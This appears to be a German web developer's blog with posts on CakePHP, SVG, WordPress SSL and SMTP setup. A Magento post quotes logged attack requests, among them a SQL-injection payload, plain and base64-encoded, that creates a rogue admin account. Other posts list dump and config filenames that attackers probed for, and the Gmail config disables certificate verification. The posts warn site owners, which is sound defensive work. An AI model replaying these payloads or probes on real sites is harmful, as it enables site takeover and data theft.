cakephp controller not addressed

Wenn es ein Controller namens „xyz“ gibt und gleichzeitig einen Ordner „xyz“ unter „webroot“ , dann wird nicht auf den Controller geroutet, sondern auf den Ordner

If there is a controller named „xyz“ and at the same time a folder „xyz“ under webroot, then the controller is not addressed.

cakephp 3.7

cakephp simple 404 redirect

Simple cakePHP 404 redirect with correct header

public function view($id=null,$slug=null) {
if(!$this->Model->exists($id){
    header('HTTP/1.0 404 Not Found'); //only PHP, no Cake $this->response->header(HTTP/1.0 404 Not Found');
    $this->render('/Model/notfound');
    $this->response->send();
}
$options = array('conditions' => array('Model.' . $this->Model->primaryKey => $id));
$this->set('job', $this->Model->find('first', $options));
}

set Correct 404 Status

svg doppelt nutzen

Im CSS

<style>

.svg-fill-blue .svgfill{

fill:blue;

}

.svg-fill-green .svgfill{

fill:green ;

}

</style>

HTML, an dieser Stelle sollen die Grafiken auftauchen

<div id="pos1">

<svg class="svg-fill-blue" viewBox="0 0 100 100" width="100" height="100"><use xlink:href="#logo"/></svg>

</div>

<div id="pos2">

<svg class="svg-fill-green" viewBox="0 0 100 100" width="50" height="50"><use xlink:href="#logo"/></svg>

</div>

Irgendwo im Body oder Footer der HTML Struktur, das eigentliche Logo. Wichtig dabei, es darf die Anweisung >>fill<< nicht auftauchen, an dessen Stelle einfach eine CSS Klasse setzen

<div class="hidden-svg">
 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="display: none;">
 <symbol id="logo">
  <g>
   <polygon class="svgfill" points="38.486,4.999 53.688,4.999 68.808,20.534 53.688,35.508 38.486,35.508 53.688,20.534 "/>
  </g>
</symbol>
</svg>
</div>

Mal eben schnell WordPress auf SSL migrieren

und plötzlich geht gar nix mehr.

Dann hilf ein Backup der Datenbank, ein Backup der Installation,
die Plugins Duplicator oder Better Search and Replace

weiterhin:
SHIFT-STRG-ENF im Firefox um schnell Cookies und Cache zu löschen, um nicht jedesmal in die doofen Settings wechseln zu müssen.

wp-config.php editieren und


define('FORCE_SSL_ADMIN', true);
define( 'WP_DEBUG', true );
define( 'WP_DEBUG_DISPLAY', false );
define( 'WP_DEBUG_LOG', true );
define('WP_HOME','https://www.domain.de'); //<-- NO TRAILING /
define('WP_SITEURL','https://www.domain.de');

und quasi als aller erstes

* @package WordPress
*/
if ($_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') $_SERVER['HTTPS']='on';

sollte auch dann stehen bleiben

Und der Ar.. ist gerettet

Hilfreich ist auch bei 1und1 das RewriteBase / zu entfernen, wenn SSL erzwungen werden soll

cakephp mail versand gmail xampp

Um eine eMail von einem Xampp System mit cakephp 3 und gmail zu verschicken folgende Einstellung benutzen

'gmail' => [
            'host' => 'ssl://smtp.gmail.com',
            'port' => 465,
            'username' => 'username',
            'password' => '****',
            'timeout' => 60,
            'className' => 'Smtp',
            'tls' => false,
            'log' => true,
            'context' => [
                'ssl' => [
                    'verify_peer' => false,
                    'verify_peer_name' => false,
                    'allow_self_signed' => true
                ]
            ]
        ],

Im gmail Konto muss zusätzlich „Weniger sichere Apps zulassen“ auf „an“ stehen

typische Magento Angriffe

mittlerweile typische, automatisierte Angriffe auf Magento Systeme

parameter sind base_64 encoded

{{block type="adminhtml/report_search_grid"}} num_results[from]=0&num_results[field_expr]=1=2);DELETE FROM `admin_user` WHERE user_id = ; DELETE FROM `admin_role` WHERE user_id = ; INSERT INTO `admin_user` (`user_id`, `firstname`, `lastname`, `email`, `username`, `password`, `created`, `modified`, `logdate`, `lognum`, `reload_acl_flag`, `is_active`, `extra`) VALUES (,'firstname', 'lastname', 'mail', 'username', 'pwd', 'null', 'null', 'null', 1, 0, 1, 'N;'); INSERT INTO `admin_role` (`parent_id`, `tree_level`, `sort_order`, `role_type`, `user_id`, `role_name`) VALUES (1, 2, 0, 'U', , 'magent');; --

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ/index.php/admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdjcmV3JywgJ2JhY2t1cEBtYWdlbnRvcy5jb20nLCAnYmxhY2t1bml4JywgJ2M0Yjg3MTcwYjg5YTc2MzQwNzNmZGE3YTFjMzZlMTAxJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ/downloader/

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ//js/webforms/logic.js

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ/app/etc/local.xml

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ//js/webforms/logic.js

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ/api/xmlrpc

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ//js/webforms/logic.js

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ/skin/error.php

GET /robots.txt&sa=U&ved=0ahUKEwi88-aC5NHTAhWJnBoKHddTCkUQFgjmATAn&usg=AFQjCNH-aK-oXiNkdlyLrjz9XjMI8DnCzQ/skin/upil.php

GET /index.php/admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdjcmV3JywgJ2JhY2t1cEBtYWdlbnRvcy5jb20nLCAnYmxhY2t1bml4JywgJ2M0Yjg3MTcwYjg5YTc2MzQwNzNmZGE3YTFjMzZlMTAxJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g

GET /downloader/

GET //js/webforms/logic.js

GET /app/etc/local.xml

GET //js/webforms/logic.js

GET /api/xmlrpc

POST /api/xmlrpc

GET //js/webforms/logic.js

GET /skin/error.php

GET /skin/upil.php

Downloadversuch von Datenbankdumps

Bei einem Kunden fand ich den Versuch auf unten stehende Dateien zuzugreifen.(Müßten so um die 300 sein)

Jeder Versuch hatte eine andere IP Adresse und wurde mit einem Abstand von 5-6 Sekunden durchgeführt. Ist also mit den klassischen 404 Fehler/IP Blockingmethoden nicht zu stoppen.
Schaut man sich die Endungen der Dateien an, dann sieht man, dass im Prinzip ein variabler Begriff 1,backup,data, db etc mit den Endungen sql,7z,bz2,gz,rar,tar,tar.bz2,tar.bzip2,tar.gz,tgz,zip durchprobiert wird. Höchstwahrscheinlich flexibel erweiterbar. Ist also nur eine Zeitfrage, bis auch div. Ordnernamen hinzukommen.

/1.sql
/1.sql.7z
/1.sql.bz2
/1.sql.gz
/1.sql.rar
/1.sql.tar
/1.sql.tar.bz2
/1.sql.tar.bzip2
/1.sql.tar.gz
/1.sql.tar.gzip
/1.sql.tgz
/1.sql.zip
/backup.sql
/backup.sql.7z
/backup.sql.bz2
/backup.sql.gz
/backup.sql.rar
/backup.sql.sql
/backup.sql.tar
/backup.sql.tar.bz2
/backup.sql.tar.bzip2
/backup.sql.tar.gz
/backup.sql.tar.gzip
/backup.sql.tgz
/backup.sql.zip
/data.sql
/data.sql.7z
/data.sql.bz2
/data.sql.gz
/data.sql.rar
/data.sql.sql
/data.sql.tar
/data.sql.tar.bz2
/data.sql.tar.bzip2
/data.sql.tar.gz
/data.sql.tar.gzip
/data.sql.tgz
/data.sql.zip
/db.7z
/db.bz2
/db.gz
/db.rar
/db.sql
/db.sql.7z
/db.sql.bz2
/db.sql.gz
/db.sql.rar
/db.sql.sql
/db.sql.tar
/db.sql.tar.bz2
/db.sql.tar.bzip2
/db.sql.tar.gz
/db.sql.tar.gzip
/db.sql.tgz
/db.sql.zip
/db.tar
/db.tar.bz2
/db.tar.bzip2
/db.tar.gz
/db.tar.gzip
/db.tgz
/db.zip
/db_backup.7z
/db_backup.bz2
/db_backup.gz
/db_backup.rar
/db_backup.sql
/db_backup.sql.7z
/db_backup.sql.bz2
/db_backup.sql.gz
/db_backup.sql.rar
/db_backup.sql.sql
/db_backup.sql.tar
/db_backup.sql.tar.bz2
/db_backup.sql.tar.bzip2
/db_backup.sql.tar.gz
/db_backup.sql.tar.gzip
/db_backup.sql.tgz
/db_backup.sql.zip
/db_backup.tar
/db_backup.tar.bz2
/db_backup.tar.bzip2
/db_backup.tar.gz
/db_backup.tar.gzip
/db_backup.tgz
/db_backup.zip
/dbadmin.sql
/dbadmin.tgz
/dbase.rar
/dbase.sql.7z
/dbase.sql.bz2
/dbase.sql.gz
/dbase.sql.rar
/dbase.sql.sql
/dbase.sql.tar
/dbase.sql.tar.bz2
/dbase.sql.tar.bzip2
/dbase.sql.tar.gz
/dbase.sql.tar.gzip
/dbase.sql.tgz
/dbase.sql.zip
/dbase.tar.gz
/dbase.tar.gzip
/dbase.zip
/dbdump.7z
/dbdump.bz2
/dbdump.gz
/dbdump.rar
/dbdump.sql
/dbdump.sql.7z
/dbdump.sql.bz2
/dbdump.sql.gz
/dbdump.sql.rar
/dbdump.sql.sql
/dbdump.sql.tar
/dbdump.sql.tar.bz2
/dbdump.sql.tar.bzip2
/dbdump.sql.tar.gz
/dbdump.sql.tar.gzip
/dbdump.sql.tgz
/dbdump.sql.zip
/dbdump.tar
/dbdump.tar.bz2
/dbdump.tar.bzip2
/dbdump.tar.gz
/dbdump.tar.gzip
/dbdump.tgz
/dbdump.zip
/dump.7z
/dump.bz2
/dump.gz
/dump.rar
/dump.sql
/dump.sql.7z
/dump.sql.bz2
/dump.sql.gz
/dump.sql.rar
/dump.sql.tar
/dump.sql.tar.bz2
/dump.sql.tar.bzip2
/dump.sql.tar.gz
/dump.sql.tar.gzip
/dump.sql.tgz
/dump.sql.zip
/dump.tar
/dump.tar.bz2
/dump.tar.bzip2
/dump.tar.gz
/dump.tar.gzip
/dump.tgz
/dump.zip
/home.sql
/home.sql.7z
/home.sql.bz2
/home.sql.gz
/home.sql.rar
/home.sql.sql
/home.sql.tar
/home.sql.tar.bz2
/home.sql.tar.bzip2
/home.sql.tar.gz
/home.sql.tar.gzip
/home.sql.tgz
/home.sql.zip
/htm/leist.html
/htm/links.htm
/htm/lorsche.html
/mysql.7z
/mysql.bz2
/mysql.gz
/mysql.rar
/mysql.sql
/mysql.sql.7z
/mysql.sql.bz2
/mysql.sql.gz
/mysql.sql.rar
/mysql.sql.tar
/mysql.sql.tar.bz2
/mysql.sql.tar.bzip2
/mysql.sql.tar.gz
/mysql.sql.tar.gzip
/mysql.sql.tgz
/mysql.sql.zip
/mysql.tar
/mysql.tar.bz2
/mysql.tar.bzip2
/mysql.tar.gz
/mysql.tar.gzip
/mysql.tgz
/mysql.zip
/public_html.sql
/site.sql
/site.sql.7z
/site.sql.bz2
/site.sql.gz
/site.sql.rar
/site.sql.tar
/site.sql.tar.bz2
/site.sql.tar.bzip2
/site.sql.tar.gz
/site.sql.tar.gzip
/site.sql.tgz
/site.sql.zip
/sql.7z
/sql.bz2
/sql.gz
/sql.rar
/sql.sql
/sql.sql.7z
/sql.sql.bz2
/sql.sql.gz
/sql.sql.rar
/sql.sql.tar
/sql.sql.tar.bz2
/sql.sql.tar.bzip2
/sql.sql.tar.gz
/sql.sql.tar.gzip
/sql.sql.tgz
/sql.sql.zip
/sql.tar
/sql.tar.bz2
/sql.tar.bzip2
/sql.tar.gz
/sql.tar.gzip
/sql.tgz
/sql.zip
/temp.sql
/temp.sql.7z
/temp.sql.bz2
/temp.sql.gz
/temp.sql.rar
/temp.sql.tar
/temp.sql.tar.bz2
/temp.sql.tar.bzip2
/temp.sql.tar.gz
/temp.sql.tar.gzip
/temp.sql.tgz
/temp.sql.zip
/upload.sql
/upload.sql.7z
/upload.sql.bz2
/upload.sql.gz
/upload.sql.rar
/upload.sql.tar
/upload.sql.tar.bz2
/upload.sql.tar.bzip2
/upload.sql.tar.gz
/upload.sql.tar.gzip
/upload.sql.tgz
/upload.sql.zip
/users.7z
/users.bz2
/users.gz
/users.rar
/users.sql
/users.sql.7z
/users.sql.bz2
/users.sql.gz
/users.sql.rar
/users.sql.tar
/users.sql.tar.bz2
/users.sql.tar.bzip2
/users.sql.tar.gz
/users.sql.tar.gzip
/users.sql.tgz
/users.sql.zip
/users.tar
/users.tar.bz2
/users.tar.bzip2
/users.tar.gz
/users.tar.gzip
/users.tgz
/users.zip
/web.sql
/web.sql.7z
/web.sql.bz2
/web.sql.gz
/web.sql.rar
/web.sql.tar
/web.sql.tar.bz2
/web.sql.tar.bzip2
/web.sql.tar.gz
/web.sql.tar.gzip
/web.sql.tgz
/web.sql.zip
/www.sql
/www.sql.7z
/www.sql.bz2
/www.sql.gz
/www.sql.rar
/www.sql.sql
/www.sql.tar
/www.sql.tar.bz2
/www.sql.tar.bzip2
/www.sql.tar.gz
/www.sql.tar.gzip
/www.sql.tgz
/www.sql.zip

Ein Rootverzeichnis sollte aufgeräumt sein

Ich habe es ja schon mehrfach geschrieben, aber da das hier fast täglich passiert noch mal der Hinweis.

Ein Rootverzeichnis sollte aufgeräumt sein, umbenennen funktioniert nicht


wp-config.htm
wp-config.html
wp-config.local.php
wp-config.prod.php.txt
wp-config-sample.php~
config.php~~
wp-config.cfg
wp-config%0
config.
wp-config.backup
wp-config.data
config.php~
config.old
config.old
/config.bak
config.bak
/wp-config-backup
wp-config-backup
wp-config-backup.txt
wp-config.
wp-config.
config
config
wp-config.old
wp-config.old
wp-config.txt
wp-config.txt
wp-config.bak
wp-config.bak
wp-config%0fix.txt
wp-config%0fix.txt
wp-config-backup.txt
wp-config-backup.txt

SMTP TLS Mailversand mit Swiftmailer bei Strato und 1und1

Für ein Projekt war es wichtig, dass ich einen Mailversand per SMTP und TLS hinbekomme.

Das Projekt lief bei Strato. Getestet habe ich allerdings bei meinem Homeprovider 1und1.

Nach diversen Versuchen und permanenten „SMTP connect() failed.“ in den unterschiedlichsten Konfigurationen, dämmerte mir dann irgendwann, dass 1und1 anscheinend die Verbindung auf Shared Systemen blockt bzw nicht zulässt. Getestet habe ich das mir 1und1, Gmail und Strato als Host.

Für Strato, auf einem Stratowebserver, allerdings funktionieren folgenden Einstellungen.


require_once __DIR__ . '/swiftmailer/lib/swift_required.php';

define('USER', 'account');
define('PASSWORD', 'xxx');
define('HOST', 'smtp.strato.de');
define('PORT', 587);
define('SECURE', 'TLS');
define('FROM', 'mail@adr.de');
define('TO', 'other-mail@adr.de');
define('TOALIAS', 'Alias');
define('FROMALIAS', 'From Alias');
define('SUBJECT', 'Subject');
$body ="...Text...";
$alt_body="Text";

$transport = Swift_SmtpTransport::newInstance()
->setHost(HOST)
->setPort(PORT)
->setEncryption(SECURE)
->setUsername(USER)
->setPassword(PASSWORD);

$mailer = Swift_Mailer::newInstance($transport);
$message = Swift_Message::newInstance(SUBJECT)
->setFrom(array(FROM => FROMALIAS))
->setTo(array(TO => TOALIAS))
->setBody($alt_body)
->addPart($body, 'text/html');

if (!$mailer->send($message, $failures)) {
return false;
} else {
return true;
}

Hier habe ich Swiftmailer genommen, es sollte unter der Prämisse Strato aber auch per PHPMailer funktionieren.